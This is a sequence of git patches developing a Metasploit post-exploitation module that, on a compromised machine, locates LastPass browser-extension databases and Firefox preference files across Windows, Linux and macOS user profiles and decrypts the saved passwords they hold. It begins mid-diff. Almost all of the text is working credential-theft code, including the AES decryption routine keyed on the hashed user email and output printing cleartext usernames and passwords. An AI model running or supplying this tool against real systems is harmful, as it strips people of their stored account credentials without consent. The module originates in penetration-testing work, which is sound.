OpenSSL::Cipher.new("AES-256-CBC") - decipher.decrypt - decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary - decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | - encrypted_password = encrypted_data[26..-1] - begin - decipher_result = decipher.update( Base64.decode64(encrypted_password) ) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end - - else # Apply ECB - decipher = OpenSSL::Cipher.new("AES-256-ECB") - decipher.decrypt - decipher.key = sha256_binary_email - begin - decipher_result = decipher.update( Base64.decode64(encrypted_data) ) + decipher.final - rescue - print_error "Password could not be decrypted" - return nil - end - end - - return decipher_result - end - + decipher_result + end end From 8efe714be6f7c75310d0deb745fdce9973c7a388 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 6 Oct 2014 02:23:54 -0700 Subject: [PATCH 04/24] Add support for Firefox in XP --- modules/post/multi/gather/lastpass_creds.rb | 93 +++++++++++++++++---- 1 file changed, 79 insertions(+), 14 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index a82dcafb1d..dd6ae99e01 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -1,6 +1,7 @@ require 'msf/core' require 'base64' require 'sqlite3' +require 'uri' class Metasploit3 < Msf::Post include Msf::Post::File @@ -28,7 +29,6 @@ class Metasploit3 < Msf::Post print_status "Searching for LastPass databases..." db_paths = database_paths # Find databases and get the remote paths - if db_paths.size == 0 # Found any database? print_status "No databases found" return @@ -36,29 +36,49 @@ class Metasploit3 < Msf::Post print_status "Looking for credentials in all databases found..." + credentials = [] db_paths.each do |db_path| - # Read and store the remote database locally - data = read_file(db_path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + if db_path =~ /Mozilla/ # Firefox + password_line = nil + # Read and store the remote preferences file locally + data = read_file(db_path) + loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - query_result = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + # Parse preference file + user_line = password_line = nil + File.readlines(loot_path).each do |line| + user_line = line if (line['extensions.lastpass.loginusers']) + password_line = line if (line['extensions.lastpass.loginpws']) + end + + # Extract usernames and passwords + user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/) ? encoded_username = user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/)[1] : encoded_username = nil + password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) ? encoded_password = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] : encoded_password = nil + credentials.push([URI.unescape(encoded_username), Base64.decode64(encoded_password)]) unless encoded_username.nil? || encoded_password.nil? - query_result.each do |row| # Decrypt passwords + elsif db_path =~ /Explorer/ # Internet Explorer + + else # Chrome, Safari and Opera + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + credentials = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + end + + # Parse and decrypt credentials + credentials.each do |row| # Decrypt passwords print_status "Decrypting password for user #{row[0]}..." password = clear_text_password(row[0], row[1]) - if password.blank? - print_error "Username: '#{row[0]}' (Password was not found/decrypted)" - else - print_good("Username: '#{row[0]}' -> Password: '#{password}'") - end + print_good("Username: '#{row[0]}' -> Password: '#{password}'") unless password.blank? + print_line "" end end end - # Finds the databases in the victim's machine def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 platform = session.platform @@ -96,6 +116,17 @@ class Metasploit3 < Msf::Post user_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome print_status 'Checking in Chrome...' path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" @@ -226,6 +257,40 @@ class Metasploit3 < Msf::Post + # Returns the profile path for Firefox + def profile_paths(path, browser) + found_dbs_paths = [] + + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) if file_path != '.' && file_path != '..' + end + + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) + end + + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + if found_dbs_paths.size > 0 + return found_dbs_paths + else + print_status "No profile paths found for #{browser}" + return nil + end + end + + + + # Decrypts the password def clear_text_password(email, encrypted_data) return if encrypted_data.blank? From b9e4f04260db3ee51166c39d59cf913e109f98e3 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sun, 12 Oct 2014 22:23:55 -0700 Subject: [PATCH 05/24] Add support for Firefox --- modules/post/multi/gather/lastpass_creds.rb | 110 ++++++++++++++------ 1 file changed, 77 insertions(+), 33 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index dd6ae99e01..7baa5f1305 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -36,28 +36,21 @@ class Metasploit3 < Msf::Post print_status "Looking for credentials in all databases found..." - credentials = [] + credentials = [] # All credentials to be decrypted db_paths.each do |db_path| - if db_path =~ /Mozilla/ # Firefox + if db_path =~ /Mozilla/i # Firefox password_line = nil # Read and store the remote preferences file locally data = read_file(db_path) loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{db_path}") - # Parse preference file - user_line = password_line = nil - File.readlines(loot_path).each do |line| - user_line = line if (line['extensions.lastpass.loginusers']) - password_line = line if (line['extensions.lastpass.loginpws']) + # Extract usernames and passwords from preference file + firefox_encoded_creds = firefox_credentials(loot_path) + next unless firefox_encoded_creds + firefox_encoded_creds.each do |creds| + credentials.push([URI.unescape(creds[0]), URI.unescape(creds[1])]) unless creds[0].nil? || creds[1].nil? end - - # Extract usernames and passwords - user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/) ? encoded_username = user_line.match(/user_pref\("extensions.lastpass.loginusers", "(.*)"\);/)[1] : encoded_username = nil - password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) ? encoded_password = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] : encoded_password = nil - credentials.push([URI.unescape(encoded_username), Base64.decode64(encoded_password)]) unless encoded_username.nil? || encoded_password.nil? - elsif db_path =~ /Explorer/ # Internet Explorer - else # Chrome, Safari and Opera # Read and store the remote database locally data = read_file(db_path) @@ -72,28 +65,37 @@ class Metasploit3 < Msf::Post credentials.each do |row| # Decrypt passwords print_status "Decrypting password for user #{row[0]}..." password = clear_text_password(row[0], row[1]) - print_good("Username: '#{row[0]}' -> Password: '#{password}'") unless password.blank? + print_good("Username: '#{row[0]}' => Password: '#{password}' (Discard outer single quotes)") unless password.blank? print_line "" end end end - # Finds the databases in the victim's machine - def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + def database_paths platform = session.platform found_dbs_paths = [] - user_profiles = user_profiles + existing_profiles = user_profiles case platform when /win/ os = session.sys.config.sysinfo['OS'] - user_profiles = grab_user_profiles if os =~ /Vista|Windows 7|Windows 8/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['AppData']}\\Mozilla\Firefox\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -113,7 +115,7 @@ class Metasploit3 < Msf::Post end elsif os =~ /XP/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" # Check Firefox @@ -154,9 +156,20 @@ class Metasploit3 < Msf::Post end when /unix|linux/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['LocalAppData']}/.mozilla/firefox", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}/prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -164,9 +177,20 @@ class Metasploit3 < Msf::Post end when /osx/ - user_profiles.each do |user_profile| + existing_profiles.each do |user_profile| print_status "Found user: #{user_profile['UserName']}" + # Check Firefox + print_status 'Checking in Firefox...' + profiles = profile_paths("#{user_profile['LocalAppData']}\\Firefox\\Profiles", "Firefox") + if profiles + print_good "Found #{profiles.size} profile files in Firefox" + profiles.each do |profile_path| + file_paths = ["#{profile_path}\\prefs.js"] + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + end + # Check Chrome path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" file_paths = file_paths(path, 'Chrome') @@ -191,15 +215,18 @@ class Metasploit3 < Msf::Post found_dbs_paths.flatten end - # Returns the relevant information from user profiles def user_profiles case session.platform when /unix|linux/ user_profiles = [] - user_names = session.shell_command("ls /home").split + if session.type == "meterpreter" + user_names = client.fs.dir.entries("/home") + else + user_names = session.shell_command("ls /home").split + end user_names.each do |user_name| - user_profiles.push({ 'UserName' => user_name, "LocalAppData" => "/home/#{user_name} "}) + user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") if user_name != '.' && user_name != '..' end return user_profiles @@ -208,7 +235,7 @@ class Metasploit3 < Msf::Post user_profiles = [] user_names = session.shell_command("ls /Users").split user_names.each do |user_name| - user_profiles.push({ 'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support" }) if user_name != 'Shared' + user_profiles.push('UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support") if user_name != 'Shared' end return user_profiles @@ -221,8 +248,6 @@ class Metasploit3 < Msf::Post end end - - # Extracts the databases paths from the given folder ignoring . and .. def file_paths(path, browser) found_dbs_paths = [] @@ -255,8 +280,6 @@ class Metasploit3 < Msf::Post end end - - # Returns the profile path for Firefox def profile_paths(path, browser) found_dbs_paths = [] @@ -265,13 +288,13 @@ class Metasploit3 < Msf::Post if session.type == "meterpreter" files = client.fs.dir.entries(path) files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) if file_path != '.' && file_path != '..' + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' && file_path.match(/.*\.default/) end elsif session.type == "shell" files = session.shell_command("ls \"#{path}\"").split files.each do |file_path| - found_dbs_paths.push(File.join(path, file_path).gsub("/","\\")) + found_dbs_paths.push(File.join(path, file_path)) if file_path.match(/.*\.default/) end else @@ -288,8 +311,29 @@ class Metasploit3 < Msf::Post end end + # Parses the Firefox preferences file and returns encoded credentials + def firefox_credentials(loot_path) + credentials = [] + password_line = nil + File.readlines(loot_path).each do |line| + password_line = line if line['extensions.lastpass.loginpws'] + end + return nil unless password_line + if password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/) + encoded_credentials = password_line.match(/user_pref\("extensions.lastpass.loginpws", "(.*)"\);/)[1] + else + return nil + end + + creds_per_user = encoded_credentials.split("|") + creds_per_user.each do |user_creds| + credentials.push(user_creds.split("=")) if user_creds.split("=").size > 1 # Any valid credentials present? + end + + credentials + end # Decrypts the password def clear_text_password(email, encrypted_data) From 85e6febe09154899f54267625af3fa077292f31a Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Thu, 18 Sep 2014 23:40:05 -0700 Subject: [PATCH 06/24] Add module to extract/decrypt LastPass credentials --- modules/post/multi/gather/lastpass_creds.rb | 278 ++++++++++++++++++++ 1 file changed, 278 insertions(+) create mode 100644 modules/post/multi/gather/lastpass_creds.rb diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb new file mode 100644 index 0000000000..4801064231 --- /dev/null +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -0,0 +1,278 @@ + +require 'msf/core' +require 'base64' +require 'sqlite3' + + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{ + This module extracts and decrypts login accounts and passwords stored by + Lastpass.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alberto Garcia Illera ', + 'Martin Vigo ' + ], + 'Platform' => %w{ linux osx unix win }, + 'SessionTypes' => [ 'meterpreter, shell' ] + )) + + end + + + + def run + if session.platform =~ /win/ and session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end + + print_status "Searching for LastPass databases..." + + db_paths = get_database_paths # Find databases and get the remote paths + + if db_paths.size==0 # Found any database? + print_status "No databases found" + return + end + + print_status "Looking for credentials in all databases found..." + + for db_path in db_paths + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + query_result = db.execute( "SELECT username, password + FROM LastPassSavedLogins2 + WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + + for row in query_result # Decrypt passwords + print_status "Decrypting password for user #{row[0]}..." + password = getClearTextPassword(row[0], row[1]) + if password.blank? + print_error "Username: '#{row[0]}' (Password was not found/decrypted)" + else + print_good("Username: '#{row[0]}' -> Password: '#{password}'") + end + end + end + end + + + + # Finds the databases in the victim's machine + def get_database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + platform = session.platform + found_dbs_paths = Array.new + user_profiles = get_user_profiles() + + case platform + when /win/ + os = session.sys.config.sysinfo['OS'] + user_profiles = grab_user_profiles() + + if os =~ /Vista|Windows 7|Windows 8/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + elsif os =~ /XP/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + print_status 'Checking in Chrome...' + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + print_status 'Checking in Opera...' + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + print_status 'Checking in Safari...' + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + else + print_error "OS not recognized: #{os}" + return nil + end + + when /unix|linux/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + when /osx/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + else + raise 'platform not recognized: ' << platform + end + + return found_dbs_paths.flatten + end + + + + # Returns the relevant information from user profiles + def get_user_profiles() + case session.platform + when /unix|linux/ + user_profiles = Array.new + + user_names = session.shell_command("ls /home").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "LocalAppData" => "/home/#{user_name}"}) + end + + return user_profiles + + when /osx/ + user_profiles = Array.new + + user_names = session.shell_command("ls /Users").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support"}) if user_name != 'Shared' + end + + return user_profiles + + when /win/ + return grab_user_profiles() + else + print_error "OS not recognized: #{os}" + return nil + end + end + + + + # Extracts the databases paths from the given folder ignoring . and .. + def get_file_paths(path, browser) + found_dbs_paths = Array.new + + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' and file_path != '..' + end + + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' + end + + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + if found_dbs_paths.size > 0 + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" + return found_dbs_paths + else + print_status "No databases found for #{browser}" + return nil + end + end + + + + # Decrypts the password + def getClearTextPassword(email, encrypted_data) + return if encrypted_data.blank? + + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email); + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + begin + decipher_result = decipher.update( Base64.decode64(encrypted_password) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + begin + decipher_result = decipher.update( Base64.decode64(encrypted_data) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + end + + return decipher_result + end + +end From 484d98d0a8b031775577d5cfd470ab341397b42b Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sun, 28 Sep 2014 01:59:02 -0700 Subject: [PATCH 07/24] Meet rubocop and msftify rules --- modules/post/multi/gather/lastpass_creds.rb | 477 ++++++++++---------- 1 file changed, 231 insertions(+), 246 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 4801064231..a82dcafb1d 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -1,278 +1,263 @@ - require 'msf/core' require 'base64' require 'sqlite3' - class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix - include Msf::Post::File - include Msf::Post::Windows::UserProfiles - include Msf::Post::OSX::System - include Msf::Post::Unix + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{This module extracts and decrypts login accounts and passwords stored by Lastpass.}, + 'License' => MSF_LICENSE, + 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], + 'Platform' => %w{ linux osx unix win }, + 'SessionTypes' => [ 'meterpreter, shell' ] + )) + end - def initialize(info={}) - super( update_info( info, - 'Name' => 'LastPass Master Password Extractor', - 'Description' => %q{ - This module extracts and decrypts login accounts and passwords stored by - Lastpass.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Alberto Garcia Illera ', - 'Martin Vigo ' - ], - 'Platform' => %w{ linux osx unix win }, - 'SessionTypes' => [ 'meterpreter, shell' ] - )) + def run + if session.platform =~ /win/ && session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end - end + print_status "Searching for LastPass databases..." + + db_paths = database_paths # Find databases and get the remote paths + + if db_paths.size == 0 # Found any database? + print_status "No databases found" + return + end + + print_status "Looking for credentials in all databases found..." + + db_paths.each do |db_path| + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + query_result = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + + query_result.each do |row| # Decrypt passwords + print_status "Decrypting password for user #{row[0]}..." + password = clear_text_password(row[0], row[1]) + if password.blank? + print_error "Username: '#{row[0]}' (Password was not found/decrypted)" + else + print_good("Username: '#{row[0]}' -> Password: '#{password}'") + end + end + end + end - def run - if session.platform =~ /win/ and session.type == "shell" # No Windows shell support - print_error "Shell sessions on Windows are not supported" - return - end + # Finds the databases in the victim's machine + def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + platform = session.platform + found_dbs_paths = [] + user_profiles = user_profiles - print_status "Searching for LastPass databases..." + case platform + when /win/ + os = session.sys.config.sysinfo['OS'] + user_profiles = grab_user_profiles - db_paths = get_database_paths # Find databases and get the remote paths + if os =~ /Vista|Windows 7|Windows 8/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" - if db_paths.size==0 # Found any database? - print_status "No databases found" - return - end - - print_status "Looking for credentials in all databases found..." + # Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? - for db_path in db_paths - # Read and store the remote database locally - data = read_file(db_path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + # Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - query_result = db.execute( "SELECT username, password - FROM LastPassSavedLogins2 - WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + # Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? - for row in query_result # Decrypt passwords - print_status "Decrypting password for user #{row[0]}..." - password = getClearTextPassword(row[0], row[1]) - if password.blank? - print_error "Username: '#{row[0]}' (Password was not found/decrypted)" - else - print_good("Username: '#{row[0]}' -> Password: '#{password}'") - end - end - end - end + print_line "" + end + + elsif os =~ /XP/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + print_status 'Checking in Chrome...' + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Opera + print_status 'Checking in Opera...' + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Safari + print_status 'Checking in Safari...' + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + print_line "" + end + + else + print_error "OS not recognized: #{os}" + return nil + end + + when /unix|linux/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + + when /osx/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Safari + path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Opera + path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + + else + print_error "platform not recognized: #{platform}" + return nil + end + + found_dbs_paths.flatten + end + + + # Returns the relevant information from user profiles + def user_profiles + case session.platform + when /unix|linux/ + user_profiles = [] + user_names = session.shell_command("ls /home").split + user_names.each do |user_name| + user_profiles.push({ 'UserName' => user_name, "LocalAppData" => "/home/#{user_name} "}) + end + + return user_profiles + + when /osx/ + user_profiles = [] + user_names = session.shell_command("ls /Users").split + user_names.each do |user_name| + user_profiles.push({ 'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support" }) if user_name != 'Shared' + end + + return user_profiles + + when /win/ + return grab_user_profiles + else + print_error "OS not recognized: #{os}" + return nil + end + end - # Finds the databases in the victim's machine - def get_database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 - platform = session.platform - found_dbs_paths = Array.new - user_profiles = get_user_profiles() - - case platform - when /win/ - os = session.sys.config.sysinfo['OS'] - user_profiles = grab_user_profiles() + # Extracts the databases paths from the given folder ignoring . and .. + def file_paths(path, browser) + found_dbs_paths = [] - if os =~ /Vista|Windows 7|Windows 8/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' + end - #Check Chrome - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' + end - #Check Opera - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end - #Check Safari - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 